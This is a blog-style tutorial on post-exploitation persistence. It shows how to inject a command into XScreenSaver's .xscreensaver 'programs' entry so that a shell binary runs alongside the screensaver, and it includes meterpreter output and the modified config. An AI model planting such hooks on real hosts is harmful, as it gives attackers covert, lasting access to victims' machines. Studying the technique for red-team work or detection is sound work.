After successfully gaining remote access to a host, acquiring some form of persistence is usually on the cards in case of network problems, system reboots etc. There are many ways to do this but one way I discovered recently, I thought was quite discreet in comparison to other methods (editing shell rc files, crontabs etc.).
The method I came across was to modify the configuration file of XScreenSaver, a very common screensaver package for Linux, to execute a shell. [mis]Using XScreenSaver offers a couple of benefits:
- Users will rarely edit this file, meaning there is less chance of the shell being noticed
- The screen is almost guaranteed to blank on a regular basis, resulting in the shell executing
To demonstrate this, I have setup a Ubuntu 18.10 host running XScreenSaver 5.42 and have a remote shell to it.
Identifying XScreenSaver Presence & Configuration
To determine if XScreenSaver is installed,
The configuration file for XScreenSaver can be found in a user’s home directory and is named
meterpreter > ls -S xscreensaver Listing: /home/rastating ======================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100664/rw-rw-r-- 8804 fil 2019-03-07 21:49:13 +0000 .xscreensaver
If the configuration file is missing, it does not mean that XScreenSaver is not available, but that the user has not configured their screensaver preferences. In which case, you can create a fresh configuration file and drop it in place.
As there are packages readily available to install it, it is possible to use the system’s package manager to verify if it is installed. For example, in Debian / Ubuntu, you can use
dpkg to verify:
$ dpkg -s xscreensaver | grep -i status Status: install ok installed
If it has been built from source, the presence of the following binaries would also suggest it is installed:
In this case, I had selected a screensaver to use and thus the configuration file existed. Examining the configuration file reveal three key pieces of information:
timeoutvalue: how long the session must remain inactive before the screensaver is displayed
mode: whether or not a single screensaver is used, or whether random screensavers are chosen each time
As can be seen in the below snippet of the configuration file, the
timeout value is set to
0:01:00, meaning the screensaver will run after one minute of inactivity:
# XScreenSaver Preferences File # Written by xscreensaver-demo 5.42 for rastating on Thu Mar 7 21:49:13 2019. # https://www.jwz.org/xscreensaver/ timeout: 0:01:00 cycle: 0:10:00 lock: False lockTimeout: 0:00:00 passwdTimeout: 0:00:30
Moving a bit further down the file, we can see the
mode setting is
one which indicates that a single screensaver has been selected. We can also see the
selected setting, which indicates the selected screensaver is the one found at index position
2 of the
programs array. As the array starts at
0, this means that in this instance, the
attraction screensaver has been selected:
mode: one selected: 2 textMode: url textLiteral: XScreenSaver textFile: textProgram: fortune textURL: http://feeds.feedburner.com/ubuntu-news programs: \ maze -root \n\ - GL: superquadrics -root \n\ attraction -root \n\ blitspin -root \n\ greynetic -root \n\
Adding a Shell To The Configuration File
Looking at the
programs array of the configuration file, you may have figured out that these strings aren’t just the names of the screensavers that are available, but the base commands that will be executed. In XScreenSaver, each screensaver is a separate binary that when executed will display the fullscreen screensaver.
In the configuration previously shown, when the screen blanks, it would shell out the command:
With this in mind, we can inject a command at the end of the base command in order to launch our shell alongside the screensaver. As I had a shell located in
/home/rastating/.local/share/shell.elf, I modified the
.xscreensaver to launch this. The previous snippet of the configuration file now looks like this:
mode: one selected: 2 textMode: url textLiteral: XScreenSaver textFile: textProgram: fortune textURL: http://feeds.feedburner.com/ubuntu-news programs: \ maze -root \n\ - GL: superquadrics -root \n\ attraction -root | \ (/home/rastating/.local/share/shell.elf&) \n\ blitspin -root \n\ greynetic -root \n\
There are two things to note with this change. The first is that the
\n\ that was at the end of the
attraction line has been replaced with a single backslash. This indicates that the string is continuing onto a second line. The
\n is the delimiter, and thus only appears at the end of the full command.
The second thing to note is the use of
&, the shell is called in this way to ensure that it is launched alongside the
attraction binary and that it does not halt execution by forking it into the background.
Once this change is made, XScreenSaver will automatically pick up the change, as per The Manual:
If you change a setting in the .xscreensaver file while xscreensaver is already running, it will notice this, and reload the file. (The file will be reloaded the next time the screen saver needs to take some action, such as blanking or unblanking the screen, or picking a new graphics mode.)
With this change in place, the shell will now be executed alongside the screensaver binary as can be seen in the video below: